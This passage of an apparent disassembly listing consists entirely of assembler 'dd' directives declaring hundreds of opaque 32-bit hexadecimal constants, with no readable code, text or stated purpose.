0DC60731Eh dd 0A0B02B70h, 77D759D3h, 4EC78882h, 65EFCB3Eh, 0B5EFB703h dd 0D327A824h, 6CDB5C4Ch, 0D4C2C5BFh, 7FD36D75h, 7DD44EC0h dd 0A1E3BA29h, 7350C9A9h, 7620CAF5h, 1D8FD259h, 0BB404CB2h dd 0F1B037D5h, 2C7D2A6h, 1B5997ACh, 19F8E6ADh, 0A30F1398h dd 3067D1C9h, 5A90AAE2h, 3ED69A5Bh, 0A0DE13FBh, 0F8D1A87Ch dd 0B6F3D948h, 0DF68E97Ah, 3C61FA78h, 0AB2131C9h, 86F47C37h dd 2601C1B5h, 6A51EB23h, 990AB824h, 2F527317h, 0ACC34508h dd 400D4107h, 72422B2Ch, 3FEB3D01h, 0E2D1C0F2h, 953BB6FBh dd 19D0F879h, 8D5FC029h, 303260C2h, 0C2D1A184h, 4AB63AB7h dd 0BF6F4C40h, 6D5D9A80h, 0DE2725CDh, 0C991C611h, 8383B004h dd 0EFC64E0h, 8BC2E82Fh, 0F2D2625Dh, 0D285D63Fh, 1BC82B31h dd 677037A4h, 8F855988h, 2B7FA747h, 34838EF1h, 0E6684709h dd 1B21E318h, 0FC0ABC48h, 20BCB438h, 0C0763B3Fh, 20B9E881h dd 0BA7375A7h, 0D572F632h, 0DEA6FC85h, 0B40FA8A2h, 0A197BD65h dd 78283234h, 0EAB821C5h, 67D9CB8Ah, 30378550h, 0ADBDF68Dh dd 0EB0281BEh, 2E483526h, 8570752h, 0AEA839FFh, 0E7D2E6FFh dd 0C8E93F3h, 713A967Bh, 67A697A8h, 627510AFh, 0AD7DEE2Ah dd 36A49BF4h, 9CC87CA0h, 0DC71DAD9h, 0AB6FD9C5h, 8C3AC8Ch dd 38CC6CF7h, 0FB4147DCh, 53993AB3h, 0A706A76Bh, 0F2329966h dd 53386604h, 660B3AB6h, 0B38AB187h, 85BCB090h, 30CF137Ch dd 76B9F0FAh, 96656F83h, 3775B87Bh, 8B99F4B1h, 36FB7FE6h dd 0F85DB03Dh, 88547F02h, 0E2126F4h, 2F2D1E65h, 0A2840103h dd 2BD7F95h, 0A3ACC03h, 0B3CA2785h, 0D6327A19h, 8B79328h dd 0B5B448F1h, 5095FAEBh, 88F21A75h, 139A2A0Bh, 984E21ACh dd 37FE2B5Fh, 0EEF7BE23h, 7B3D6FC1h, 47258A5h, 0D9D77D2Eh dd 0D1232D6Ch, 4C471BA1h, 0F644179Ah, 0E33619C3h, 0FD3E2E21h dd 0AB9F593Fh, 8A0289CDh, 99405E81h, 7FA6BAC3h, 0D13D7AD4h dd 0E3F6955Ah, 0B5F477BBh, 0BBFD5062h, 0F035E58Dh, 0A8DB6456h dd 0FC8B2474h, 0A9013408h, 0F9A98B63h, 0E74FC9FBh, 132F25DCh dd 4A82A75Ah, 813B6671h, 69D19CBCh, 0E77B09FEh, 0D5968C31h dd 80AEF78Dh, 9BBF22Dh, 0E751948Ah, 38B7C616h, 202D6C82h dd 26AA4B36h, 14852967h, 0E65D758Bh, 90E6F816h, 54B88ECBh dd 8B5CA9Bh, 0E89C29E4h, 0DCB066B1h, 86EC85E0h, 39DFE95Fh dd 47EA5949h, 0D53BC55Dh, 0C3317266h, 0D364FAC3h, 0F11B6DB0h dd 5D81186Ah, 5E079120h, 0C7FD2E78h, 5F9EB3CCh, 0A317D7ECh dd 740DFEDBh, 5A3FD06Eh, 0C180D25Eh, 0FFBB486Fh, 0B683B298h dd 59A25EB4h, 2982048Ah, 0B3579DE4h, 64212BF9h, 0C9930C08h dd 0ED9EA80h, 26C12CB6h, 96B50A4Bh, 0F9D5C9B6h, 0E6B48473h dd 904B6589h, 2C071885h, 42B59472h, 1CCE9894h, 6AF94A52h dd 97AF55Eh, 4D55F437h, 0A0DE8A23h, 0F0D759E3h, 0A671D89Dh dd 20F1B5DCh, 7CBBAC5h, 9D442133h, 2A4BB449h, 0DAE06E0Eh dd 4E4ACA3Fh, 0C474E8CDh, 63B6C65Fh, 8E1125Ah, 9972AA28h dd 7B973F80h, 0BDD8C87Dh, 0A75011BBh, 8167A616h, 0F994B61Dh dd 0A92607Eh, 95DF62Eh dd 0BECF9ED6h, 0F7930FE0h, 0E952E974h, 67BF170Dh, 61B2A9C7h dd 232E5DD4h, 0EBF9D3B8h, 0EB01161Bh, 1CE543B7h, 768DFF72h dd 56E264D6h, 654178FEh, 9AA401E8h, 3551F762h, 0DF349FE6h dd 47082470h, 0F627B961h, 0A49AE9EDh, 15F7DA3Dh, 469B0B3Ah dd 0F332254Ah, 60D60D82h, 0ECA41436h, 10EA891Ah, 0EB0BFA37h dd 756E80EBh, 2F70694h, 0EEA84206h, 0CED20BFBh, 0C521D584h dd 92D93D16h, 2EE031D3h, 0FD33B0DAh, 379BFAA6h, 0ED65F3A1h dd 0ABAB19DEh, 0CEF9AE1Eh, 17A4683Dh, 0EFCF3E5Dh, 438E8A4Bh dd 76FD5D73h, 0C9B08E11h, 0D2FBD30Ch, 898C76EFh, 17429B92h dd 86AA3E0Eh, 9421619h, 0B2B132A5h, 0A31A2896h, 7FE0868Fh dd 0B7A92FE1h, 0DCC3C6C3h, 0FA38FB5Ch, 0CC942AE6h, 161551A4h dd 606DEEFEh, 0A2F443D7h, 0ECF2FE29h, 14838E12h, 0FD5D125Bh dd 17F551CDh, 8C917625h, 5C190C5Eh, 27993020h, 42626826h dd 8E2BB816h, 70AC5FA2h, 23D8F13Dh, 718DAF66h, 0AB86A20Eh dd 73256748h, 4B4331ADh, 0F9B1BCB6h, 0D9DF70F9h, 727CCA2Eh dd 2686FAA6h, 5ABB0326h, 2F7710h, 8D561C34h, 4307A68Bh dd 81D18929h, 0AB8510F3h, 0BBA2D1Ch, 0C6B5CA18h, 0AF23C69Eh dd 2BDD16BCh, 410BE27h, 92650E1Eh, 4E54AC71h, 0FA10A588h dd 0E991F354h, 9E8834DAh, 55CD65Ah, 90F1566Eh, 2BC61BF6h dd 6682AD05h, 0E5BBF72h, 98FE9FDEh, 439E69EAh, 2D92F768h dd 0A7238615h, 0BEA950F1h, 6F8A96D0h, 58CF4D31h, 0FEFF88C4h dd 3B95C010h, 27C50C0Ch, 7D393ED3h, 0A6FD2077h, 69FA4D76h dd 1C3EA7C6h, 13F2B8A7h, 7CBC2CB7h, 49B7AACEh, 6E0BFDF9h dd 0F360DD36h, 92D6410Fh, 0AD654EE7h, 0AA4E84F6h, 21D7E6B9h dd 2C0E1B1Bh, 0DBB2A3ACh, 291434A6h, 651261FAh, 0F95393D5h dd 12C66229h, 522BCC95h, 44B7F702h, 9AC170C1h, 0CF400E6Bh dd 71E70162h, 40D331B5h, 0FA0835D6h, 0C38CDE01h, 386BE649h dd 0C43A5B20h, 47FB5E09h, 20871E30h, 0C8A576C8h, 4445683h dd 103EBEE7h, 52EA9808h, 0D6F2F720h, 35FDD74Ch, 0AC97A73Bh dd 0A6A5B927h, 39947297h, 7BDE21A0h, 4C7163A3h, 0E6769C90h dd 0AF1AF686h, 0E6DD7A64h, 7EBA56D5h, 0AA57D8C6h, 58B6EBB8h dd 0FAD76E3Bh, 0D0A647ADh, 0CD36DB3Ch, 45515B03h, 0E79536B4h dd 4278CBBAh, 3A0AB124h, 24B1E24Bh, 0D7FB54ABh, 28A95B23h dd 5D3DC5A2h, 56C4F95h, 91ABB312h, 0E77C33B0h, 3FA8BA0h dd 63A19190h, 0A97CFDB2h, 845D233h, 6FCB9273h, 3E351881h dd 0F51F5406h, 0B5BEBA05h, 0F71566ECh, 3A2EE44Fh, 719F464Ch dd 96666A0Ah, 8BAFC64Ah, 0C718D10Ch, 16A749EBh, 0BF9465C6h dd 93EA121Ch, 0F1015E0Eh, 0CA74744Ch, 0F42D7384h, 0D10FFD77h dd 5C23D16Eh, 0CF9EACF4h, 5D432162h, 0CE1013Ah, 2EBB2948h dd 90D33848h, 15788CA9h, 9687E88Eh, 0EA2669B3h, 0BAA4C61Eh dd 0D6390C56h, 0D75A9AA9h, 0C3317D88h, 71DB6F32h, 6E273A27h dd 5B350096h, 74443E3h, 0BC9756DCh, 0C84E0F96h, 0AB8770E7h dd 5100F8D4h, 939E40CBh, 77CFC0EAh, 84FEFA7Ah, 9E54E341h dd 604E0DE7h, 5A70B344h, 2552501h, 25F3ACD9h, 168E9C4Fh dd 17ED50B5h, 5E86E017h, 0EB4AF2BBh, 93EC9258h, 0C63DE88Bh dd 0E40D9D52h, 0ADA17542h, 7F6A25ECh, 0C336FBFCh, 194246AEh dd 0C7130270h, 68FF3708h, 0BB268104h, 0A3ADC639h, 251E38D2h dd 76F39A55h, 0B6714705h, 127239F2h, 9E46030Eh, 0ECB8604Fh dd 0F68C1B33h, 21C56DEEh, 41CEF79Eh, 0AAB8F78Bh, 0B1D98C66h dd 4B1ED31Dh, 296DB2B0h, 2C4D44E1h, 0C4AA62EBh, 7318656Bh dd 0D381FC24h, 734D03DBh, 0F2466E06h, 9E1D87ABh, 6D705EEFh dd 0D3C67A9Ch, 4CADFA48h, 24280165h, 87069B16h, 46E2E1B4h dd 26F6BA2Ch, 4E7122F1h, 1340C9B0h, 1D5F300Bh, 3C7184CCh dd 51A13BAAh, 0AB737EC6h, 4E39111Eh, 8E64EDFBh, 39DD536Eh dd 0A8DB1D7h, 6F866D39h, 0BF429A6Dh, 534C4B29h, 0E57DD04Eh dd 62986545h, 4EB56770h, 5D1402A6h, 0B2813C6Dh, 0E56A3F6Fh dd 7C693933h, 147429E4h, 3C7BBA16h, 75A0C403h, 0CAB07FDDh dd 533C8C38h, 0A1458455h, 0B178B6E3h, 0B187063h, 99446592h dd 8844B8EEh, 0F7E3A336h, 366A01A3h, 0D5C714C5h, 277F17C2h dd 89CDFC1Bh, 946E19FCh, 0F1503FACh, 0C8C1A1DDh, 61DB4105h dd 27B7FB50h, 0AF39B2F8h, 5EF274B2h, 55757C68h, 848CF125h dd 9DDD1E99h, 36E90C5Bh, 1A16E540h, 3175C31Ah, 27E9F157h dd 0B4D2DCEh, 0B1F64044h, 766D1964h, 68E6271Ch, 0B43A96E8h dd 0DD29A03Dh, 1ADCEB77h, 73ED10F9h, 0DF4FF23Eh, 0BCF6CA3Ah dd 2EF09261h, 0C6090FFEh, 0D9DA9533h, 0EDA0D764h, 0CE5D11D2h dd 7D4F2627h, 492AC32Eh, 97659C51h, 0B95C167Ch, 716C0348h dd 0C86CD1EFh, 0EB6F2CF6h, 0DA1399B8h, 0D5091B9Ah, 1DA9D80Eh dd 9952F087h, 8AD56CE9h, 7D8DBF4Fh, 0AC2138h, 787C9641h dd 0CA05512Ah, 0E14D1CF2h, 0AAB95070h, 5CB36321h, 0FA2BA201h dd 7A2C79D1h, 4E1EC07Eh, 0E625615h, 0A87B88E9h, 1129CC75h dd 93A721F0h, 0BFAD0445h, 8E401617h, 40D49FF7h, 0F68BAF0Dh dd 0DFB7E55Dh, 0A7FE509Bh, 0C4F88326h, 12E7717Ah, 0E9442402h dd 344107EBh, 97E5AA08h, 0F88D80BBh, 9FC28F65h, 50F0CF91h dd 38290C8Fh, 434A1A67h, 50B1CA8Fh, 9FB5FC49h, 41F41353h dd 7742AD43h, 38376237h, 848A483h, 0CEA410CEh, 0AA2C374Fh dd 579C715Dh, 0D1565BE9h, 2AED54EDh, 0D8E82BF4h, 0FE551C5Dh dd 9A487096h, 0CFDFAB1Dh, 0E828F989h, 0C127F726h, 583E50CAh dd 0F56DCCC5h, 6783D40Bh, 0FCFD97F1h, 38F7B833h, 0E175F1BFh dd 9EE87BE0h, 0B7FB5E1Eh, 0D1D681DEh, 66AD9180h, 454FBE7Dh dd 46DA114Ah, 4127CCD0h, 0AB74D0B6h, 7DFCB04Bh, 3B0B959Dh dd 673DE21Bh, 0F6A36429h, 0EE6629B4h, 5DFD3415h, 0F6F964C6h dd 0B1942D03h, 4C4E7FF2h, 20EBF396h, 0BD35C382h, 22DE5EBBh dd 5B207A37h, 564C7DE0h, 0EFEEA613h, 153F6B26h, 96AC79EBh dd 268DE8D8h, 490B2A9Bh, 9B09E756h, 9B7CF5A4h, 3190FE2Bh dd 20352DFCh, 0BD78D849h, 0FFF155AEh, 1071A7E7h, 6F1E8294h dd 617CF41Ah, 3BCF487h, 97F0F0A5h, 0A3749571h, 91B54FE2h dd 0F67BBFAAh, 37969CF3h, 47620B41h, 6B6A3184h, 34D4AEDDh dd 84D2FF32h, 95E9B390h, 338F0795h, 0A317E39Bh, 62B1186Eh dd 35C5B197h, 9A9CDEFFh, 1A4B6428h, 0BE6C8E43h, 81C978F3h dd 7F8EC57Ch, 763B2980h, 0A8DFF7FDh, 380B5Ch, 0B52834B2h dd 0F34B11E1h, 0E731F871h, 39FBB51Ah, 6E2D32D7h, 909CCFABh dd 9F2385DEh, 0CFAC3CB2h, 552FA1A6h, 0F8C88806h, 95C358E7h dd 8C623DA4h, 4CFFA83Eh, 5693234Eh, 0B4976A87h, 0E3C8DC02h dd 29CAEDA4h, 4567164Eh, 30218629h, 25C0DEBDh, 61CCE389h dd 10E536B0h, 37EFFD5Dh, 7361ED52h, 25C85E65h, 198BBFD1h dd 0FD9EE2ADh, 363CAACh, 1849A939h, 132A9421h, 4E8DBA34h dd 6340B939h, 0EBFF1B9h, 1FE6FEB7h, 0E062B08Dh, 2FD52D57h dd 0B79848h, 0E600EA4Bh, 2AF0B915h, 821481DFh, 0F3CDCC5Dh dd 1C3B52FDh, 0DE77DB40h, 4A295890h, 0EF225F6h, 0A6246A0Eh dd 0C9696091h, 25761970h, 0ED816041h, 9AE021ABh, 0C7339657h dd 6EA2B4CBh, 8ADD2673h, 376410BDh, 698F23A0h, 3E3ED057h dd 455C3C41h, 0D4A830D1h, 21E21E41h, 1405D7A9h, 0EDF83B74h dd 0D1CE5EC4h, 0A56ED6Ch dd 7683D35Eh, 892E5E72h, 2C0D1C8Bh, 0BE002B5Bh, 0CFC93A51h dd 39EB7EF4h, 51942D98h, 66D8ED1Eh, 751964ADh, 0A96613F7h dd 0DF65EC1Fh, 6C12EFF0h, 0EF86C708h, 34A343DCh, 0CE65AB4h dd 668362A0h, 3139364Eh, 2213918Fh, 0D3B1B6A4h, 206DAA76h dd 5CDCF495h, 52D01BECh, 36A823F3h, 6A8F0514h, 0BA6658BCh dd 3450EF00h, 0E7A5AA58h, 0CD611861h, 84D21C35h, 9F7FAE31h dd 104FF14h, 0A3AB47EDh, 271B3635h, 0FEF80E3Ch, 0CED19E20h dd 0BA74D426h, 0D6763E89h, 90730D3Ah, 78B1B620h, 960460ACh dd 0DCBE33BCh, 0D4842AFAh, 827E9B8Ch, 753F1783h, 0D6FE2A0Eh dd 87C5374Ah, 57ED3D66h, 0A858797Dh, 0BCF295F3h, 5976FDEBh dd 0A9723B29h, 0F668DBACh, 56A16478h, 9F5046CEh, 0FC1756ADh dd 12BF1F3Bh, 0B9443107h, 884B8654h, 7FA88567h, 0AFC14B25h dd 0AF5C0A85h, 0B5A98707h, 0DBDF173Bh, 0B0C0ADF4h, 53C79631h dd 476A40FEh, 0AFF83E03h, 0AE33D102h, 1EEBEA92h, 83FCCD0Eh dd 0A106AB85h, 0A7EB0506h, 0ED20913Dh, 86A3C9C2h, 8335BEFDh dd 0B9529913h, 0A1BA26F8h, 783A45B2h, 0D6EF3577h, 792D1690h dd 0C767502Dh, 0A56E5889h, 96542CA6h, 5868AE0Dh, 0C4EEC264h dd 0CB59CF70h, 3C3467BBh, 5D7F1A62h, 0FBDCABADh, 4BACAF5Ah dd 0F119F7AAh, 29D4DB17h, 284BA5F4h, 0D3AD7589h, 0FEC69356h dd 0AB18A2F3h, 24A33404h, 0A0310C70h, 0EA2DF3B0h, 0E653138Dh dd 0EE310C35h, 0F54FED5Dh, 3EBC1F2Dh, 7049EB94h, 0AFF94ADAh dd 0CBB46FBAh, 0E7237920h, 64F3E2D0h, 7D2277h, 9AC75736h dd 8609A3ECh, 604834CBh, 1E5394F5h, 2908F251h, 0F95703E3h dd 93A3C0E2h, 0E1EA7020h, 2F3EEC5Eh, 876B3C9Ah, 0E993C60Eh dd 72F8D59Bh, 2600E5D2h, 0AEDBF29Ch, 8B895922h, 0A2309ACAh dd 0B81BE6ABh, 73555AC7h, 0E2B69B5h, 0C47C4E5Ah, 490A4B53h dd 0F5AF705Dh, 0C27C3218h, 0E39D2E29h, 0A60CC8D7h, 3C051751h dd 0EBDF5E7Ch, 0CF12CC9Bh, 0E5F96C21h, 97F4E0Ah, 0BA6D41AAh dd 7E54D5EEh, 0DD1C0219h, 95190BB9h, 361700A4h, 0DADEC672h dd 0D9FE3417h, 44540A5h, 95909818h, 3667F1F4h, 1F9EBEE7h dd 1F138EA9h, 0BC7AD854h, 94297B6Fh, 0BF84FBBFh, 339D8C0Ch dd 0AA5E0E95h, 90473313h, 1AF33018h, 0A5A4A181h, 0A0845744h dd 0CBC5BF60h, 16615142h, 7B89CA41h, 7FF3E8B8h, 0DACC649Fh dd 0AAA5079Fh, 0C85A88B7h, 6F4BA7CFh, 0EA6B0181h, 3C64630Ah dd 0A650BF75h, 1C2B3FB3h, 85DFEFFCh, 0B3FD0E42h, 0C2928D37h dd 0C1B56A11h, 0C994E03Fh, 0D2D743Ch, 3123ECD4h, 34EEBA9Eh dd 0FAD8B9E7h, 0E1140EA8h, 70C1FC56h, 3F540135h, 54D29862h dd 0F49FCD98h, 0E7EB3104h, 2D792A5Fh, 0CF7A18D7h, 37F8F50Eh dd 0C3173019h, 9F499E87h, 0FE3EAD43h, 6283E5C4h, 8454A230h dd 94814CD6h, 0C9543EA7h, 5B7156B9h, 0C30FF7B3h, 87ABC2B3h dd 27ECFB0Fh, 0FE5FB7F4h, 495872Ah, 2C302018h, 89980114h dd 0E23F8E0Ah, 6650D08Fh, 5FCC0765h, 84F1F518h, 13B32038h dd 0F2F843FBh, 0D6C67F91h, 0C65F392Ch, 0A6B924CEh, 998C8CF5h dd 0F9C3F156h, 0D77440B7h, 6AC1324Eh, 0ACD14ACDh, 1C6CEE46h dd 0E734F4D0h, 0C586FF1Dh, 7532FC3Ah, 2EB14FEDh, 1BC68ED1h dd 975C8B0Fh, 0E400BF3Eh, 8D58CB2Ch, 4C97E462h, 0A492D0E3h dd 0FEE93BBBh, 0D125D1F5h, 0F01D830Bh, 3EDB7840h, 0D8E48F90h dd 2FE6EE26h, 6E4067D8h, 0F97D5748h, 25E7AA71h, 8D9FC01Eh dd 63A2F6B9h, 0AFC0AB99h, 0CA851B9h, 2B6E8789h, 5FBDBEE3h dd 0FD095443h, 6C378331h, 0D375D978h, 83072121h, 0B224B866h dd 6222CCFh, 2C4458C7h, 0BA585A02h, 1E8C93E8h, 0A182C200h dd 2A0A0307h, 82767645h, 0CED302CFh, 5FFED939h, 0A9438C5h dd 5DAC3977h, 8F4C4C44h, 8614BBEh, 4B8AE0D1h, 0D57FE8D2h dd 0F3094950h, 4085BF21h, 9C23070Ah, 6CB25742h, 0D8AE940Ch dd 0A0916B64h, 46F66093h, 0F43BC90Fh, 1236D53Ch, 0B60CF7F6h dd 38D0258Fh, 1FE59CFBh, 0FBDEC58Eh, 0AD4BA957h, 0B6DD63B0h dd 72CB1EF3h, 0E2D2A7C8h, 25F2E2B6h, 70924528h, 0EEDA450Bh dd 0FFEECB8Dh, 0EA1DA3DAh, 49E9BC1Ah, 735E901Ah, 34E1266Eh dd 1510FCFh, 0E6AA39D2h, 88499C72h, 56C88B64h, 0D01AD8A6h dd 0EB32019Ch, 0D2E9BCBBh, 8353A77h, 9FA2CC77h, 26A15929h dd 0F7FC417Eh, 3E478F18h, 5B69BFB2h, 804AF740h, 6F0457A8h dd 19E4308Eh, 5E0E2444h, 18529954h, 722E3882h, 0C01C9D75h dd 0B8FA13E2h, 0D807190Dh, 60D374EEh, 1F4B4219h, 0ECA7D12Fh dd 1A4DD563h, 1B7816FDh, 0D93C8186h, 0DAAF2988h, 0E05FB6D6h dd 296CD81Dh, 3B0F1B16h, 45C5FD0h, 1FC4FC54h, 92D5142Fh dd 79CF0A5Ch, 3A9C9285h, 0ECCCD8EBh, 0D11DEA0h, 0A6D0F42Ah dd 730BE9C3h, 2186FC25h, 2340337Ah, 0DBBA5073h, 644848FBh dd 642BD6EEh, 0DE9D42C2h, 89730F30h, 90B8656Ch, 0B312008Eh dd 70055F3Ch, 7AE6854Ch, 50340943h, 59003874h, 0B66919FEh dd 262E7DD4h, 2A742DC1h, 505A6EE4h, 0A205BE58h, 0B82323FEh dd 80B1AFEAh, 9EB8B5B7h, 987A1F70h, 0C94FC410h, 80CBE88h dd 3294BFF7h, 1F89A509h, 0B4551E78h, 9415DB4Ch, 0A4E225A0h dd 14789A69h, 24F77AF6h, 1716438Ah, 20D342D7h, 0ED983E56h dd 960E18B3h, 370B0A12h, 49C63E9h, 9CE78AABh, 0FF6B481h dd 8F8866F2h, 0C0DAD2BBh, 7EF8E39Dh, 0A2BC4838h, 18B41B2Ah dd 98FC7795h, 0EC909AA9h, 0C4BAAD26h, 4905BCD2h, 6CE8D3Ah dd 41A82795h, 0AFE71CDh, 26FB7DAFh, 79C0A4ECh, 0E1BA7B12h dd 0A4C78105h, 9C333787h, 6F97F330h, 374637A9h, 4682EEEEh dd 0ABA7D825h, 670181E9h, 0E3B19042h, 23FAE331h, 5FE7E16Bh dd 7DE93D5Bh, 0ACF4636h, 84C04051h, 0C1A7CF18h, 0F8B284EEh dd 9B178794h, 81217F4Dh, 0BB9B6407h, 95CED827h, 0ACA51695h dd 0B5A412BCh, 84F2321Ah, 821668F6h, 8CE93F1Dh, 0F85448ABh dd 24BFD395h, 5B5DA036h, 36DE09ECh, 0B30E39CAh, 0BEAD0D23h dd 50E7FFC1h, 79D2D59Dh, 0FE4C638Bh, 1C7AC8E8h, 0FF5858E5h dd 0C0F94BEDh, 5D9619CAh, 17065002h, 0CDA65DA4h, 0DE77664Ch dd 49D1494Dh, 574F5C0Fh, 71C764B9h, 0B4FF34FAh, 4C4F5BBFh dd 264EFE84h, 70E2EBA3h, 9E7ABBD0h, 9F23EFB9h, 28DB74A9h dd 92C9FE77h, 28D3FADEh, 0D3948622h, 0C610B3D1h, 0BA4BF262h dd 48E13C63h, 422788EFh, 4235D830h, 36451007h, 7F297AECh dd 1B433F88h, 0E2EF3671h, 8DAA648Bh, 0D1A47805h, 0F8953287h dd 651B088h, 2BF68241h, 39BF8FE8h, 0C5E07DD2h, 317EA022h dd 0E7FB476h, 0F924A2F7h, 5A5C76F4h, 0FA65B082h, 0E6E6FC81h dd 0E7B0E8C8h, 209631B4h, 0B6AEE2A2h, 0EDFB6326h, 0AB4443CAh dd 41B264CBh, 0A6613EDFh, 8A5839F2h, 90683802h, 924D52F2h dd 0A4E77561h, 0A2ECD8A9h, 24EF61D9h, 66B05650h, 0BAEFFE2Eh dd 71DB041Ah, 95F9476Fh, 4BC9C8FAh, 0C45832C8h, 5963A94Ah dd 204E7B80h, 781A8B0Fh, 90665F8Fh, 0A45A5DACh, 4D006FB6h dd 0D4B97C4Ch, 10E02AF3h, 51A5BC58h, 0E9131E71h, 56A48411h dd 53ACF6DBh, 0DA051F99h, 0F7E38E56h, 1874E31h, 0EB611640h dd 0A3B98B76h, 8C97D6EEh, 92C866BAh, 0B48A8AFCh, 60FB9EAAh dd 7708077Eh, 958540BBh, 0D3E65E39h, 0BBEF80A5h, 0C05C2185h dd 519585C2h, 636D08BFh, 0AC778903h, 0B25C9592h, 0C99C6292h dd 0FCF2A947h, 992E83A8h dd 0BA7A4970h, 0E6B00ABAh, 0DBA4134Ah, 0E8C8785Fh, 4AE333Bh dd 2A0BD4BCh, 0E469D1E8h, 788F39DEh, 0FAD7BC1Dh, 6CAB1C1Ah dd 0B3FFF4DAh, 0CA3EBFDDh, 0ACFBDF71h, 568A20EAh, 0A5E85470h dd 0A4071576h, 0E9279850h, 0FA0DA285h, 0F9D0B53Ch, 8EB3D983h dd 2F57C52h, 6096A5C6h, 51FA5428h, 0ACE5B9A0h, 0B5A6924Fh dd 0D6DF80CBh, 0E3329453h, 52CDCFBBh, 85EE7F7Eh, 0F4EF0BC1h dd 1B0C772Bh, 0A0F24253h, 3697AD3Eh, 809D7344h, 38E6B10h dd 92A9DE9Fh, 7C633ACBh, 54A82224h, 0F2575172h, 3EA04E48h dd 495E80DEh, 0FE4C8846h, 924443A4h, 0A2B9AADBh, 25C1DEDAh dd 636C67D9h, 8DA906C2h, 0D93C8940h, 20C8140Bh, 0FD66DA34h dd 0A9093607h, 353AD981h, 69A9A54Dh, 7441AD70h, 2239344Ah dd 6D7BF44Dh, 1F43F5EAh, 211DB898h, 9D66807Bh, 78C36D4h dd 0F18F15BBh, 6D6D03CCh, 552E0A63h, 0D47E0A56h, 40AD165Fh dd 0FD3B8ADBh, 35D379E5h, 0F57BDAD2h, 5FD803E3h, 99D3B670h dd 55D44C1Ch, 733D17AAh, 817CC888h, 0F6258C7h, 4CAF0B30h dd 4A9A0B67h, 8EDEBDAFh, 5DED72ECh, 427143A4h, 439691E3h dd 61645167h, 72F1FCE6h, 6A2E7CDAh, 2330BF69h, 1F3EC0EFh dd 640F9D79h, 0D8C5E735h, 0EEDDA340h, 36371BBh, 12E6F25Ah dd 94613F7Ah, 0C2C139D9h, 0D41FDB54h, 8BB2CC3Fh, 125EC1C9h dd 1256F282h, 0DB52B22Ah, 4A1230A1h, 0CCC1A08h, 54F6C133h dd 3DB85BA1h, 66CD12B8h, 0DE7E12EAh, 82B5D80Bh, 0C773E48Bh dd 0ED7030E1h, 0B324CCD5h, 5D6AE353h, 3E4AE9D8h, 3DBDC562h dd 9477D91Bh, 3CCAA71Ah, 6419529h, 0D35A56D2h, 0C250D073h dd 12571F46h, 7FB219E7h, 9ECC358Dh, 2D2A0F3Fh, 0C915B26h dd 38C0DEAFh, 0CBD51C53h, 92521E43h, 0E20B540Ch, 889732D3h dd 0CE4AE6DCh, 0EF1338FCh, 0A7E4B110h, 2175A7B9h, 46633166h dd 0AEDA421Ah, 75A5A9DBh, 0F124E506h, 43D6D392h, 0E6AD6BE2h dd 4469D5D1h, 13A86800h, 23688528h, 0C97F2B20h, 0C6A7A23Ah dd 5C931503h, 0E22FAE6Fh, 317C2750h, 0A8F4C87Ch, 2185295h dd 0BA8D7136h, 33B08955h, 0ED7C904Ah, 8512F1ECh, 0E5691C94h dd 97AFDECDh, 5D6A5322h, 0FE521026h, 0B09BF0E4h, 5CEF7983h dd 8FEC266h, 0B27E314Ch, 0A7475B1Bh, 2D82B81Ch, 701DE9ABh dd 598CCAB5h, 978C1FBAh, 8E5D9878h, 0DBD4908Dh, 2C9FC359h dd 0FFB62256h, 0FF8D337Fh, 0CC373732h, 2D932827h, 93061B1Ah dd 0B76FE13Bh, 8D63F8D1h, 4DEE5159h, 28C2A3ECh, 0D0E71C6Fh dd 0B4DE9CB9h, 752BEC7Dh, 5F835342h, 576BBF3h, 0EDE5C265h dd 5CDC2D9Dh, 0B8E5B8B2h, 0AF2BCC73h, 0F78218EBh, 4F426D10h dd 8BE87083h, 0DEB9DEE6h, 0CEF32A21h, 6F9923FBh, 0B0A67FF3h dd 0DF9D5E5Ah, 0A672D682h, 380693C4h, 4C798F2Dh, 9332B21Bh dd 0EA6BBCE0h, 47FAFE3Ah, 9DA463B5h, 8CFCC556h, 257CA232h dd 75379216h, 0F6B8F7ADh, 3B3CC256h, 0D2C0E4CCh, 7AB13947h dd 0E010253Fh, 0AD2461A9h, 67D98BA8h, 9217829h, 6ABA151Fh dd 620D6918h, 30493ABh, 0C260E4AFh, 8C535D45h, 0E5CBB8ACh dd 7CC85659h, 0D53184F6h, 89C27E3h, 0CAD95C8Eh, 0F3C08D4Ch dd 4D92EB8Fh, 449409E9h, 7C3F73Ah, 5E0FA2Ch, 5C0784C8h dd 0AAC3F95Eh, 0ECDDFAA9h, 1E08E67h, 21D0BBF8h, 0DF8CA793h dd 4558CF6Fh, 0CA9FC1F7h, 0E966BEF1h, 0F13ABFDEh, 0CCE2A242h dd 72B14D9h, 3940D2FEh, 0CAC20767h, 0CA66F1Bh, 0E4ED4E1Ch dd 0A68C3369h, 6EDBBE2Dh, 93BA0A26h, 0AF45C3E0h, 7D61DDDDh dd 7AFDC37Bh, 7801B58Ah, 3ABEA7B4h, 89212ECh, 0ED05CEEBh dd 0F77A281Bh, 765A8CA7h, 0D9B3BBC7h, 0FC6C88D6h, 5854126h dd 930DF2A8h, 646141E3h, 228A6ED5h, 0F9FADC47h, 67DA70Ah dd 6ACA0301h, 96ED6D70h, 386E8C2Ch, 60B9905Bh, 4E1AD016h dd 1BA3C814h, 8D3BDBEh, 6DBF97F8h, 0E18842BAh, 50DEA749h dd 0B920B65h, 41BCF92Dh, 9CDFB201h, 911A40C4h, 0A66E9D00h dd 0A0CF80A4h, 15175A05h, 10228B0Ah, 38233829h, 65C50C6Bh dd 0C0A51A90h, 0A1BEE3EDh, 5939C077h, 0F21B6538h, 18372A3Dh dd 0BA955D50h, 0C300BB20h, 44B347DAh, 23DB6E34h, 1A28667Fh dd 47336620h, 0FB474D69h, 0FE9BF15Ch, 0EFD183D8h, 5236F16h dd 9444C185h, 0AF80727Fh, 4FFCB332h, 0EB0D97CEh, 8EDEE9A1h dd 51C0B95Dh, 8758FDA8h, 5585A0AAh, 0A2CED523h, 0EC241272h dd 96834920h, 94B79CCFh, 0D900C6A0h, 3626E430h, 33748FA1h dd 4B800F0Ch, 0D460C2E3h, 8A9BED8Ah, 0DF4A068Eh, 0E6D96641h dd 0D32E870Bh, 9C3AA6F2h, 0A8079F84h, 79FE2D15h, 8CE3906Eh dd 4703F64Fh, 0C94BA310h, 0DC09260Dh, 7F22B5F1h, 88C7CEA3h dd 7A0CC83Dh, 0BD9896D8h, 3788330Ch, 0EC975E04h, 0FBFA1492h dd 10049119h, 8BE85FA8h, 6599A2B0h, 261FF0F8h, 